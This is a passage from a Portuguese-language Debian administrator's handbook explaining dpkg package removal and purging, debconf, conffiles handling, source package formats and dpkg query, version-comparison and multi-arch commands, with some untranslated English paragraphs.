last-version-configured.
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Remoção de pacote

Aqui temos o que acontece durante uma remoção de pacote:

1. o dpkg chama prerm remove.
2. Odpkg remove todos os arquivos dopacote, exceto os arquivos de configuração e os scripts

de configuração.
3. O dpkg executa postrm remove. Todos os scripts de configuração, exceto postrm, são

removidos. Se o usuário não usou a opção “purge”, os processos param aqui.
4. Para um purge completo do pacote (comando lançado com dpkg --purge ou dpkg -P),

os arquivos de configuração são também apagados, assim como uma certa quantidade
de cópias (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) e arquivos temporários; então o dpkg
executa um postrm purge.

VOCABULARY

Purge, remoção completa
Quando um pacote Debian é removido, os arquivos de configuração são mantidos
para facilitar uma possível reinstalação. Do mesmo modo, dados gerados por um
serviço (como o conteúdo de um servidor de diretórios LDAP ou o banco de dados
de um servidor SQL) são normalmente mantidos.

Para remover todos os dados associados a um pacote, é necessário fazer “purge” no
pacote com o comando, dpkg -P pacote, apt-get remove --purge pacote ou
aptitude purge pacote.

Dada a natureza definitiva de tais remoções de dados, um ’purge’ não deve ser
tratado de forma leviana.

Os quatro scripts detalhados acima são complementados por um script config, fornecido por
pacotes usando debconf para adquirir informações do usuário para a configuração. Durante
a instalação, este script define em detalhes as perguntas feitas pelo debconf. As respostas são
gravadas no banco de dados do debconf para futura referência. O script é geralmente executado
pelo apt antes de instalar pacotes, um a um para agrupar todas as perguntas e fazê-las todas
ao usuário no começo do processo. Os scripts de pre- e pos-instalação podem então usar esta
informação para operar de acordo com o que o usuário espera.

FERRAMENTA

debconf

O debconf foi criado para resolver um problema recorrente no Debian. Todos os
pacotes Debian que não funcionavam sem um mínimo de configuração costuma-
vam fazer perguntas através de chamadas aos comandos echo e read em scripts
shell postinst (e outros scripts similares). Mas acontecia que durante uma grande
instalação ou atualização, o usuário tinha que ficar junto ao computador para res-
ponder a várias perguntas que apareciam a qualquer momento. Estas interações
manuais agora foram quase que completamente dispensadas, graças à ferramenta
debconf.

O debconf tem muitas funcionalidades interessantes: ele pede que o desenvol-
vedor especifique a interação com o usuário; Ele permite localização de todas as
strings de caracteres mostradas para o usuário (todas as traduções são guardadas
no arquivo templates descrevendo as interações); tem modelos de visualização di-
ferentes para apresentar as perguntas ao usuário (modo texto, modo gráfico, não-
interativo); e permite a criação de um banco de dados central de respostas para
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compartilhar a mesma configuração com vários computadores… mas o mais im-
portante é que agora é possível apresentar todas as perguntas de uma vez para o
usuário antes de começar uma longa instalação ou atualização. O usuário pode
fazer outras coisas enquanto o sistema cuida da instalação sozinho, sem ter que
ficar olhando para um tela a espera da próxima pergunta.

5.2.3. Checksums, Lista de arquivos de configuração

além dos scripts de mantenedor e dados de controle mencionados nas seções anteriores, o ar-
quivo control.tar.gz de um pacote Debian pode conter outros arquivos interessantes. O pri-
meiro, md5sums, contém as verificações (checksums) MD5 de todos os arquivos do pacote. Sua
principal vantagem é que permite que o dpkg --verify (que vamos estudar em Seção 14.3.3.1,
“Auditando Pacotes com o dpkg --verify” [404]) verifique se estes arquivos foram modifica-
dos desde a instalação deles. Repare que quando este arquivo não existe, o dpkg vai gerar ele
dinamicamente em tempo de instalação (e armazenar ele num banco de dados do dpkg assim
como os outros arquivos de controle).
conffiles lista arquivos do pacote que devem sermanipulados como arquivos de configuração.
Arquivos de configuração podem sermodificados pelo administrador, e o dpkg tentará preservar
estas mudanças durante uma atualização de pacote.
Com efeito, nesta situação, o dpkg se comporta o mais inteligente possível: se o arquivo de con-
figuração padrão não mudou entre duas versões, ele não faz nada. Se, entretanto, o arquivo
mudou, ele vai tentar atualizar o arquivo. Dos casos são possíveis: ou o administrador não to-
cou neste arquivo de configuração, e neste caso o dpkg automaticamente instala a nova versão;
ou o arquivo foi modificado, e neste caso o dpkg pergunta ao administrador qual versão ele quer
usar (a antiga com modificações ou a nova que o pacote fornece). Para auxiliar nesta decisão,
o dpkg se oferece para mostrar um “diff” que mostra a diferença entre as duas versões. Se o
usuário escolhemanter a versão antiga, a nova vai ser armazenada namesma localização emum
arquivo com o sufixo .dpkg-dist. Se o usuário escolhe a nova versão, a antiga é mentida num
arquivo com o sufixo .dpkg-old. Outra ação disponível consiste em interromper momentanea-
mente o dpkg para editar o arquivo e tentar reinstalar as modificações relevantes (previamente
identificadas com o diff).

INDO ALÉM

Evitando as perguntas do
arquivo de configuração

O dpkg cuida de atualizações de arquivos de configuração, mas enquanto faz isto,
regularmente interrompe seu trabalho para pedir uma entrada do administrador.
Isto não é agradável para aqueles que desejam executar atualizações de uma forma
não-iterativa. É por isto que este programa oferece opções para o sistema respon-
der automaticamente de acordo com a mesma lógica: --force-confold retém
a versão antiga do arquivo; --force-confnew vai usar a nova versão do arquivo
(estas escolhas são respeitadas, mesmo se o arquivo não tiver sido mudado pelo
administrador, o que apenas raramente tem o efeito desejado). Adicionando a op-
ção --force-confdef diz ao dpkg para decidir por si só quando uma escolha é
apresentada (em outras palavras, quando o arquivo de configuração original não
foi alterado), e apenas usa --force-confnew ou --force-confold para outros
casos.
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Estas opções se aplicam ao dpkg, mas na maioria das vezes o administrador vai
trabalhar diretamente com os programas aptitude ou apt-get. É, então, necessá-
rio saber a sintaxe usada para indicar as opções passadas ao comando dpkg (suas
interfaces em linha de comando são muito similares).

# apt -o DPkg::options::=”--force-confdef” -o DPkg::options
å ::=”--force-confold” full-upgrade

Estas opções podem ser armazenadas diretamente na configuração do apt. Para
isto, simplesmente escreva a linha seguinte no arquivo /etc/apt/apt.conf.d/
local:

DPkg::options { ”--force-confdef”; ”--force-confold”; }

Ao incluir esta opção no arquivo de configuração faz com que ela possa ser usada
também numa interface gráfica, como o aptitude.

INDO ALÉM

Forçar o dpkg a
perguntar sobre arquivos

de configuração

A opção --force-confask pede ao dpkg para mostrar as perguntas sobre os arqui-
vos de configuração, mesmo nos casos onde eles normalmente não são necessários.
Portanto, quando estiver resinstalando um pacote com esta opção, o dpkg vai re-
fazer as perguntas para todos os arquivos de configuração modificados pelo admi-
nistrador. Isto é bastante conveniente, especialmente para reinstalar o arquivo de
configuração original se este foi apagado e nenhuma outra cópia estiver disponível:
uma re-instalação normal não vai funcionar, já que o dpkg considera a remoção
uma forma de modificação legítima, e, portanto, não instala o arquivo de configu-
ração desejado.

5.3. Estrutura de um Pacote Fonte

5.3.1. Formato

A source package is usually comprised of three files, a .dsc, a .orig.tar.gz, and a .debian.
tar.xz (or .diff.gz). They allow creation of binary packages (.deb files described above) from
the source code files of the program, which are written in a programming language.
O arquivo .dsc (Debian Source Control) é um arquivo com um texto curto contendo um cabe-
çalho RFC 2822 (assim como o arquivo control estudado no Seção 5.2.1, “Descrição: O arquivo
control” [78]) que descreve o pacote fonte e indica quais outros arquivos são partes ”thereof”.
É assinado pelo mantenedor, que garante autenticidade. Veja Seção 6.5, “Verificando Autentici-
dade do Pacote” [126] para mais detalhes sobre o assunto.

Exemplo 5.1 Um arquivo .dsc

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
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Format: 3.0 (quilt)
Source: zim
Binary: zim
Architecture: all
Version: 0.65-4
Maintainer: Emfox Zhou <emfox@debian.org>
Uploaders: Raphaël Hertzog <hertzog@debian.org>
Homepage: http://zim-wiki.org
Standards-Version: 3.9.8
Vcs-Browser: https://anonscm.debian.org/cgit/collab-maint/zim.git
Vcs-Git: https://anonscm.debian.org/git/collab-maint/zim.git
Build-Depends: debhelper (>= 9), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>=

å 2.6), python-gtk2, python-xdg, dh-python
Package-List:
zim deb x11 optional arch=all
Checksums-Sha1:
4a9be85c98b7f4397800f6d301428d64241034ce 1899614 zim_0.65.orig.tar.gz
0ec38c990ec7662205dd0c843bf81f9033906a2e 10332 zim_0.65-4.debian.tar.xz
Checksums-Sha256:
5442f3334395a2beafc5b9a2bbec2e53e38270d4bad696b5c4053dd51dc1ed96 1899614 zim_0.65.

å orig.tar.gz
78271df16aa166dce916b3ff4ecd705ed3a8832e49d3ef0bd8738a4fe8dd2b4f 10332 zim_0.65-4.

å debian.tar.xz
Files:
63ab7a2070e6d1d3fb32700a851d7b8b 1899614 zim_0.65.orig.tar.gz
648559b38e04eaf4f6caa97563c057ff 10332 zim_0.65-4.debian.tar.xz

-----BEGIN PGP SIGNATURE-----
Comment: Signed by Raphael Hertzog

iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAlgzZXkACgkQA4gdq+vC
mrnyXAf+M/PzZFjqk6Hvv1QSbocIDZ3bEqRjVpNLApubsPsEZZT6yw9vypzNE2hZ
/BbLPa0Ntbhew4U+SJpuujV7VnLs9mZgOFuKRHKWYQBQ+oxw+gtM6iePwVj58aP/
LW7K5gE428ohMdjIkf42Lz4Fve3dVPgPLIzQxRZ87N6OKqmS81M6/RRIF3TS/gJp
CwpN1yifCfQs46gxL5/CgA4uhI8taz+g+8ZDd6fL5BQeFuNsgplY4QL1uGno3F7G
VY7WZhM601Re2ePnv+6vjh8kDWMjZhfB4RJy0+hHezuoVGKljyaxc1O4P/fxvXus
CEETju6cAE/HgDubDXDqExMwEd4odA==
=HUvj
-----END PGP SIGNATURE-----

Observe que o pacote fonte também temdependências (Build-Depends) completamente diferen-
tes dos pacotes fonte, já que ele indicam ferramentas necessárias para a compilação doprograma
em questão e da construção do pacote binário.

ATENÇÃO

espaço de nomes distinto
É importante notar aqui que não existe correspondência obrigatória entre o nome
do pacote fonte e o do(s) pacote(s) binário(s) que ele gera. Isto é fácil de perceber
se você sabe que cada pacote fonte pode gerar vários pacotes binários. É por isso
que o arquivo .dsc tem os campos Source e Binary para explicitamente nomear
o pacote fonte e armazenar a lista de pacotes binários que ele gera.
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CULTURA

Por que dividir entre
vários pacotes

Com frequência, um pacote fonte (para um certo programa) pode gerar vários pa-
cotes binários. As separação é justificada pela possibilidade de usar o software (ou
partes dele) em diferentes contextos. Considere uma biblioteca compartilhada, ela
pode ser instalada para fazer uma aplicação funcionar (por exemplo, libc6), ou ela
pode ser instalada para desenvolver um novo programa (neste caso a libc6-dev é o
pacote correto). Encontramos a mesma lógica para serviços cliente/servidor onde
queremos instalar a parte do servidos em uma máquina e a parte cliente em outras
(este é o caso, por exemplo, do openssh-server e do openssh-client).

Com a mesma frequência, a documentação é fornecida num pacote dedicado: o
usuário pode instalar ela independente do software, e pode, a qualquer momento
removê-la para economizar espaço em disco. Adicionalmente, isto também eco-
nomiza espaço em disco em espelhos Debian, já que o pacote de documentação
será compartilhado entre todas as arquiteturas (ao invés de ter a documentação
duplicada nos pacotes para cada arquitetura).

PERSPECTIVA

Formatos de pacotes
fonte diferentes

Originalmente existia apenas um formato de pacote fonte. Este é o formato 1.0,
que associa um arquivamento .orig.tar.gz a um patch de ”debianização” .diff.
gz (também existe uma variante, que consiste de um arquivamento único .tar.gz,
que é usada automaticamente se nenhum .orig.tar.gz estiver disponível).

Since Debian Squeeze, Debian developers have the option to use new formats that
correct many problems of the historical format. Format 3.0 (quilt) can com-
bine multiple upstream archives in the same source package: in addition to the
usual .orig.tar.gz, supplementary .orig-component.tar.gz archives can be
included. This is useful with software that is distributed in several upstream com-
ponents but for which a single source package is desired. These archives can also
be compressed with xz rather than gzip, which saves disk space and network re-
sources. Finally, the monolithic patch, .diff.gz is replaced by a .debian.tar.xz
archive containing the compiling instructions and a set of upstream patches contri-
buted by the package maintainer. These last are recorded in a format compatible
with quilt — a tool that facilitates the management of a series of patches.

Oarquivo .orig.tar.gz é umarquivo que contémo código fonte como fornecido pelo desenvol-
vedor oficial. Pede-se que mantenedores de pacotes Debian não modifiquem este arquivo para
que possa ser fácil verificar a origeme a integridade do arquivo (simplesmente comparando com
o checksum) e para respeitar o desejo de alguns autores.
The .debian.tar.xz contains all of the modifications made by the Debian maintainer, espe-
cially the addition of a debian directory containing the instructions to execute to construct a
Debian package.

FERRAMENTA

Descompactando um
pacote fonte

Se você tem um pacote fonte, pode usar o comando dpkg-source (do pacote dpkg-
dev) para descomprimi-lo:

$ dpkg-source -x package_0.7-1.dsc

Você também pode usar o apt-get para baixar um pacote fonte e descompactá-lo
imediatamente. Isto requer, entretanto, que as linhas deb-src apropriadas estejam
presentes no arquivo /etc/apt/sources.list (para mais detalhes, veja Seção 6.1,
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“Preenchendo no arquivo sources.list Arquivo” [104]). Estas servem para lista
os ”fontes” dos pacotes fonte (ou seja, os servidores nos quais um grupo de pacotes
fonte estão hospedados).

$ apt-get source pacote

5.3.2. Uso no Debian

O pacote fonte é o fundamento de tudo no Debian. Todos os pacotes Debian vêm de um pacote
fonte, e cadamodificaçãonumpacoteDebian é consequência de umamodificação feita nopacote
fonte. Os mantenedores Debian trabalham com pacotes fonte, mas sabem das consequencias
dos seus atos nos pacotes binários. Os frutos de seus trabalhos são, portanto, encontrados nos
pacotes fonte do Debian: você pode facilmente retroceder a eles e tudo pode decorrer a partir
deles.
Quando uma nova versão de um pacote (pacote fonte e um ou mais pacotes binários) chega no
servidor Debian, o pacote fonte é o mais importante. Na verdade, ele vai agora ser usado por
uma rede de máquinas de diferentes arquiteturas para compilação sobre as várias arquiteturas
suportadas pelo Debian. O fato de que o desenvolvedor também manda um ou mais pacotes
binários para uma dada arquitetura é relativamente desimportante, já que estes podem ser sim-
plesmente gerados de forma automática.

5.4. Manipulando Pacotes com o dpkg

O dpkg é o comando básico para lidar com pacotes Debian no sistema. Se você tem pacotes .deb,
é com o dpkg que você instala ou analisa seu conteúdo. Mas este programa tem apenas uma
visão parcial do universo Debian: ele sabe o que está instalado no sistema, e o que for dado na
linha de comando, mas não sabe nada dos outros pacotes disponíveis. Assim, ele vai falhar se
uma dependência não for satisfeita. Ferramentas como o apt, ao contrário, criará uma lista de
dependências para instalar tudo o mais automaticamente possível.

NOTE

dpkg ou apt?
dpkg deve ser vista como uma ferramenta de sistema (nos bastidores), e apt como
uma ferramenta mais próxima do usuário, que supera as limitações das antigas. Es-
tas ferramentas trabalham juntas, cada uma com suas particularidades, adequedas
para tarefas específicas.

5.4.1. Instalando pacotes

dpkg é, principalmente, a ferramenta para instalar um pacote Debian já disponível (já que ele
não baixa nada). Para isto, usamos sua opção -i ou --install.
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Exemplo 5.2 Instalação de um pacote com dpkg

# dpkg -i man-db_2.7.6.1-2_amd64.deb
(Reading database ... 110431 files and directories currently installed.)
Preparing to unpack man-db_2.7.6.1-2_amd64.deb ...
Unpacking man-db (2.7.6.1-2) over (2.7.6.1-1) ...
Setting up man-db (2.7.6.1-2) ...
Updating database of manual pages ...
Processing triggers for mime-support (3.60) ...

Podemos ver os diferentes passos realizados pelo dpkg; sabemos, portanto, em qual ponto um
erro ocorreu. A instalação pode também ser realizada em dois estágios: primeiro desempacotar,
depois configurar. O apt-get usa isto, limitando o número de chamadas para o dpkg (já que
cada chamada é custosa, devido à carga do banco de dados emmemória, principalmente da lista
de arquivos já instalados).

Exemplo 5.3 Desempacotando e configurando separadamente

# dpkg --unpack man-db_2.7.6.1-2_amd64.deb
(Reading database ... 110431 files and directories currently installed.)
Preparing to unpack man-db_2.7.6.1-2_amd64.deb ...
Unpacking man-db (2.7.6.1-2) over (2.7.6.1-2) ...
Processing triggers for mime-support (3.60) ...
# dpkg --configure man-db
Setting up man-db (2.7.6.1-2) ...
Updating database of manual pages ...

Algumas vezes, o dpkg vai falhar ao instalar um pacote e retornar um erro; se o usuário ordenar
que ele ignore isto, ele vai mostrar apenas um aviso; é por esta razão que temos as diferentes
opções --force-*. O comando dpkg --force-help, ou a documentação deste comando, vai dar
uma lista completa destas opções. O erro mais frequente, que você vai encontrar, cedo ou tarde,
é colisão de arquivos. Quando um pacote contém um arquivo que já está instalado por outro
pacote, o dpkg se recusará a instalá-lo. As seguintes mensagens vão aparecer:
Desempacotando libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...
dpkg: erro processando /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack):
tentando sobrescrever ’/usr/bin/gdmflexiserver’, que também está no pacote gdm3

å 3.4.1-9

Neste caso, se você pensa que se você acha que substituir este arquivo não é um risco significante
à estabilidade de seu sistema (o que normalmente é o caso), você pode usar a opção --force-
overwrite, que diz ao dpkg para ignorar este erro e sobreescrever o arquivo.
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Mesmo que existam muitas opções --force-* disponíveis, apenas --force-overwrite costuma ser
usada normalmente. Estas opções existem apenas para situações excepcionais, e émelhor evitar
usá-las omáximopossível para respeitar as regras impostas pelomecanismode empacotamento.
Não esqueça, estas regras garantem a consistência e estabilidade de seu sistema.

ATENÇÃO

Uso efetivo do --force-*

Se você não for cuidadoso, o uso de uma opção --force-* pode levar a um sistema
onde a família APT de comandos vai re recusar a funcionar. Em efeito, algumas
destas opções permitem a instalação de um pacote quando uma dependência não
é atingida, ou quando existe um conflito. O resultado é um sistema incosistente
do ponto de vista de dependências, e os comandos APT vão se recusar a executar
quaisquer ações exceto aquelas que trarão o sistema de volta a um estado consis-
tente (isto frequentemente consiste da instalação de dependências faltando ou da
remoção de um pacote problemático). Isto às vezes resulta numa mensagem como
esta, obtida depois de instalar uma nova versão do rdesktop enquanto ignora suas
dependências de uma versão mais nova do libc6:

# apt full-upgrade
[...]
You might want to run ’apt-get -f install’ to correct these

å .
The following packages have unmet dependencies:
rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7

å is installed
E: Unmet dependencies. Try using -f.

Um administrador corajoso que tem certeza da corretude da sua análise pode es-
colher ignorar uma dependência ou conflito e usar a respectiva opção --force-*.
Neste caso, se ele quiser ser capaz de continuar a usar o apt ou o aptitude, ele
deve editar o /var/lib/dpkg/status para apagar ou modificar a dependência, ou
conflito, que ele escolher passar por cima.

Esta manipulação é um truuque feio, e nunca deve ser feito, exceto namais extrema
necessidade. Muito frequentemente, uma solução mais adequada é recompilar o
pacote que está causando o problema (veja em Seção 15.1, “Reconstruindo um Pa-
cote a partir de suas Fontes” [440]) ou use uma versão nova (provavelmente cor-
rigida) de um repositório como o table-backports (veja em Seção 6.1.2.4, “Back-
ports estáveis” [107]).

5.4.2. Remoção de pacote

Invocando o dpkg com a opção -r ou --remove, seguida pelo nome de um pacote, remove o pa-
cote. Esta remoção é, entretanto, incompleta: todos os arquivos de configuração, scripts do
mantenedor, arquivos de log (logs de sistema) e outros dados do usuário manipulados pelo pa-
cote permanecem. Dessa forma, a desativação do programa é feita facilmente desinstalando-o,
e ainda é possível reinstalá-lo rapidamente com a mesma configuração Para remover completa-
mente tudo associado a um pacote, use a opção -P ou --purge, seguida do nome do pacote.

Exemplo 5.4 Remoção e expurgo do pacote debian-cd
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# dpkg -r debian-cd
(Reading database ... 112188 files and directories currently installed.)
Removing debian-cd (3.1.20) ...
# dpkg -P debian-cd
(Reading database ... 111613 files and directories currently installed.)
Purging configuration files for debian-cd (3.1.20) ...

5.4.3. Consultando o banco de dados do dpkg e inspecionando os arquivos .deb

DE VOLTA AO BÁSICO

sintaxe das opções
A maioria das opções estão disponíveis em uma versão ”longa” (uma ou mais pala-
vras relevantes, precedidas de traço duplo) e uma versão ”curta” (uma única letra,
geralmente a inicial de uma palavra da versão longa, e precedida de um traço). Esta
convenção é tão comum que é um padrão do POSIX.

Antes de concluir esta seção, estudaremos as opções do dpkg que consultam o banco de dados
interno para obter informações. Mostrando primeiro as opções longas e depois as curtas cor-
respondentes (que recebem, evidentemente, os mesmos argumentos) citamos --listfiles pacote
(ou -L), que lista os arquivos instalados por este pacote; --search arquivo (ou -S), que procura
o pacote contndo o arquivo; --status pacote (ou -s), que mostra os cabeçalhos de um pacote
instalado; --list (ou -l), que mostra a lista de pacotes que o sistema conhece e seus estados de
instalação; --contents arquivo.deb (ou -c), que lista os arquivos no pacote debian especificado;
--info arquivo.deb (ou -I), que mostra os cabeçalhos de seu pacote Debian.

Exemplo 5.5 Várias consultas com o dpkg

$ dpkg -L base-passwd
/.
/usr
/usr/sbin
/usr/sbin/update-passwd
/usr/share
/usr/share/base-passwd
/usr/share/base-passwd/group.master
/usr/share/base-passwd/passwd.master
/usr/share/doc
/usr/share/doc/base-passwd
/usr/share/doc/base-passwd/README
/usr/share/doc/base-passwd/changelog.gz
/usr/share/doc/base-passwd/copyright
/usr/share/doc/base-passwd/users-and-groups.html
/usr/share/doc/base-passwd/users-and-groups.txt.gz
/usr/share/doc-base
/usr/share/doc-base/users-and-groups
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/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/base-passwd
/usr/share/man
/usr/share/man/de
/usr/share/man/de/man8
/usr/share/man/de/man8/update-passwd.8.gz
/usr/share/man/es
/usr/share/man/es/man8
/usr/share/man/es/man8/update-passwd.8.gz
/usr/share/man/fr
/usr/share/man/fr/man8
/usr/share/man/fr/man8/update-passwd.8.gz
/usr/share/man/ja
/usr/share/man/ja/man8
/usr/share/man/ja/man8/update-passwd.8.gz
/usr/share/man/man8
/usr/share/man/man8/update-passwd.8.gz
/usr/share/man/pl
/usr/share/man/pl/man8
/usr/share/man/pl/man8/update-passwd.8.gz
/usr/share/man/ru
/usr/share/man/ru/man8
/usr/share/man/ru/man8/update-passwd.8.gz
$ dpkg -S /bin/date
coreutils: /bin/date
$ dpkg -s coreutils
Package: coreutils
Essential: yes
Status: install ok installed
Priority: required
Section: utils
Installed-Size: 15103
Maintainer: Michael Stone <mstone@debian.org>
Architecture: amd64
Multi-Arch: foreign
Version: 8.26-3
Replaces: mktemp, realpath, timeout
Pre-Depends: libacl1 (>= 2.2.51-8), libattr1 (>= 1:2.4.46-8), libc6 (>= 2.17),

å libselinux1 (>= 2.1.13)
Conflicts: timeout
Description: GNU core utilities
This package contains the basic file, shell and text manipulation
utilities which are expected to exist on every operating system.
.
Specifically, this package includes:
arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp
csplit cut date dd df dir dircolors dirname du echo env expand expr
factor false flock fmt fold groups head hostid id install join link ln
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logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt
od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm
rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac
tail tee test timeout touch tr true truncate tsort tty uname unexpand
uniq unlink users vdir wc who whoami yes
Homepage: http://gnu.org/software/coreutils
$ dpkg -l ’b*’
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-====================-===============-===============-=============================================

å
un backupninja <none> <none> (no description

å available)
un backuppc <none> <none> (no description

å available)
un baekmuk-ttf <none> <none> (no description

å available)
un base <none> <none> (no description

å available)
un base-config <none> <none> (no description

å available)
ii base-files 9.9+deb9u1 amd64 Debian base system

å miscellaneous files
ii base-passwd 3.5.43 amd64 Debian base system

å master password and group
ii bash 4.4-5 amd64 GNU Bourne Again SHell
[...]
$ dpkg -c /var/cache/apt/archives/gnupg_2.1.18-8~deb9u1_amd64.deb
drwxr-xr-x root/root 0 2017-09-18 20:41 ./
drwxr-xr-x root/root 0 2017-09-18 20:41 ./usr/
drwxr-xr-x root/root 0 2017-09-18 20:41 ./usr/bin/
-rwxr-xr-x root/root 996648 2017-09-18 20:41 ./usr/bin/gpg
-rwxr-xr-x root/root 3444 2017-09-18 20:41 ./usr/bin/gpg-zip
-rwxr-xr-x root/root 161192 2017-09-18 20:41 ./usr/bin/gpgconf
-rwxr-xr-x root/root 26696 2017-09-18 20:41 ./usr/bin/gpgparsemail
-rwxr-xr-x root/root 76112 2017-09-18 20:41 ./usr/bin/gpgsplit
-rwxr-xr-x root/root 158344 2017-09-18 20:41 ./usr/bin/kbxutil
-rwxr-xr-x root/root 1081 2014-06-25 16:17 ./usr/bin/lspgpot
-rwxr-xr-x root/root 2194 2017-09-18 20:41 ./usr/bin/migrate-pubring-from-

å classic-gpg
-rwxr-xr-x root/root 14328 2017-09-18 20:41 ./usr/bin/watchgnupg
drwxr-xr-x root/root 0 2017-09-18 20:41 ./usr/sbin/
-rwxr-xr-x root/root 3078 2017-09-18 20:41 ./usr/sbin/addgnupghome
-rwxr-xr-x root/root 2219 2017-09-18 20:41 ./usr/sbin/applygnupgdefaults
drwxr-xr-x root/root 0 2017-09-18 20:41 ./usr/share/
drwxr-xr-x root/root 0 2017-09-18 20:41 ./usr/share/doc/
drwxr-xr-x root/root 0 2017-09-18 20:41 ./usr/share/doc/gnupg/
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-rw-r--r-- root/root 18964 2017-01-23 18:39 ./usr/share/doc/gnupg/DETAILS.gz
[...]
$ dpkg -I /var/cache/apt/archives/gnupg_2.1.18-8~deb9u1_amd64.deb
new debian package, version 2.0.
size 1124042 bytes: control archive=2221 bytes.

1388 bytes, 24 lines control
2764 bytes, 43 lines md5sums

Package: gnupg
Source: gnupg2
Version: 2.1.18-8~deb9u1
Architecture: amd64
Maintainer: Debian GnuPG Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>
Installed-Size: 2088
Depends: gnupg-agent (= 2.1.18-8~deb9u1), libassuan0 (>= 2.0.1), libbz2-1.0,

å libc6 (>= 2.15), libgcrypt20 (>= 1.7.0), libgpg-error0 (>= 1.14),
å libksba8 (>= 1.3.4), libreadline7 (>= 6.0), libsqlite3-0 (>= 3.7.15),
å zlib1g (>= 1:1.1.4)

Recommends: dirmngr (= 2.1.18-8~deb9u1), gnupg-l10n (= 2.1.18-8~deb9u1)
Suggests: parcimonie, xloadimage
Breaks: debsig-verify (<< 0.15), dirmngr (<< 2.1.18-8~deb9u1), gnupg2 (<<

å 2.1.11-7+exp1), libgnupg-interface-perl (<< 0.52-3), libgnupg-perl (<=
å 0.19-1), libmail-gnupg-perl (<= 0.22-1), monkeysphere (<< 0.38~), php-
å crypt-gpg (<= 1.4.1-1), python-apt (<= 1.1.0~beta4), python-gnupg (<<
å 0.3.8-3), python3-apt (<= 1.1.0~beta4)

Replaces: gnupg2 (<< 2.1.11-7+exp1)
Provides: gpg
Section: utils
Priority: optional
Multi-Arch: foreign
Homepage: https://www.gnupg.org/
Description: GNU privacy guard - a free PGP replacement
GnuPG is GNU’s tool for secure communication and data storage.
It can be used to encrypt data and to create digital signatures.
It includes an advanced key management facility and is compliant
with the proposed OpenPGP Internet standard as described in RFC4880.

[...]

INDO ALÉM

Comparação de versões
Como o dpkg é o programa para manipular pacotes Debian, ele também é a imple-
mentação de referência da lógica de comparar números de versão. É por isto que
ele tem uma opção --compare-versions, usada por programas externos (princi-
palmente scripts de configuração executados pelo próprio dpkg). Esta opção pre-
cisa de três parâmetros: um número de versão, um operador de comparação e um
segundo número de versão. Os operadores são lt (menor que ”lower than”), le (me-
nor ou igual ”less than or equal to”), eq (igual ”equal”), ne (diferente ”not equal”), ge
(maior ou igual ”greater than or equal to”) e gt (maior que ”strictly greater than”).
Se a comparação der correta, o dpkg retorna 0 (sucesso); senão, retorna um valor
não-zero (indicando falha).

$ dpkg --compare-versions 1.2-3 gt 1.1-4
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$ echo $?
0
$ dpkg --compare-versions 1.2-3 lt 1.1-4
$ echo $?
1
$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1
$ echo $?
1

Observe a falha inesperada da última comparação: para o dpkg, pre normalmente
significa uma pre-release (”pré-lançamento”) e não tem um significado especial, e
este programa compara as letras da mesma forma que os números (a <b < c …),
em ordem alfabética. É por isto que ele considera “0pre3” como sendo maior que
“0”. Quando nós queremos um número de versão de pacote para indicar que é um
pré-lançamento, usamos o til, “~”:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1
$ echo $?
0

5.4.4. Arquivo de log do dpkg

dpkgmantém um log de todas as suas ações em /var/log/dpkg.log. Este log é extremamente
detalhado, pois detalha todos os passos da manipulação de pacotes pelo dpkg. Adicionalmente
oferece uma forma de rastrear o comportamento do dpkg, ele ajuda, sobretudo, a manter um
histórico do desenvolvimento do sistema: pode-se encontrar o exato momento em que cada pa-
cote foi instalado ou atualizado, e esta informação pode ser extremamente útil para entender
uma mudança de comportamento recente. Adicionalmente, com todas as versões sendo regis-
tradas, é fácil cruzar os dados com a informação em changelog.Debian.gz para o pacote em
questão, ou mesmo com o relatorio de defeitos on line (bug reports online).

5.4.5. Suporte Multi-Arqu

Todos os pacotes Debian temum campoArquitetura na informação de controle dele. Este campo
pode conter também“Todos” (para aqueles pacotes que são de todas as arquiteturas independen-
temente) ou o nome da arquitetura que ele aponta (como “amd64”, “armhf”, …). Neste último
caso, por padrão, dpkg apenas aceitará instalar o pacote, se a sua arquitectura combinar com a
arquitetura do host como retornado pelo dpkg --print-arquitetura.
Esta restrição garante que os usuários não acabam comos binários compilados para uma arquite-
tura incorreta. Tudo seria perfeito, exceto que (alguns) computadores podem executar binários
para várias arquiteturas, quer nativamente (um sistema de ”amd64” pode rodar binários ”i386”)
ou através de emuladores.
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Habilitando Multi-Arqu

suporte multi-arquitetura do dpkg permite aos usuários definir arquiteturas “estran-
geiras” que podem ser instaladas no sistema atual. Isto é simplesmente feito com
dpkg --add-architecture como no exemplo abaixo. Há um correspondente dpkg
--remove-architecture para remover o suporte de uma arquitetura externa, mas ele só pode
ser usado quando nenhum pacote desta arquitetura permanece.
# dpkg --print-architecture
amd64
# dpkg --print-foreign-architectures
# dpkg -i gcc-6-base_6.3.0-18_armhf.deb
dpkg: error processing archive gcc-6-base_6.3.0-18_armhf.deb (--install):
package architecture (armhf) does not match system (amd64)
Errors were encountered while processing:
gcc-6-base_6.3.0-18_armhf.deb
# dpkg --add-architecture armhf
# dpkg --add-architecture armel
# dpkg --print-foreign-architectures
armhf
armel
# dpkg -i gcc-6-base_6.3.0-18_armhf.deb
Selecting previously unselected package gcc-6-base:armhf.
(Reading database ... 112000 files and directories currently installed.)
Preparing to unpack gcc-6-base_6.3.0-18_armhf.deb ...
Unpacking gcc-6-base:armhf (6.3.0-18) ...
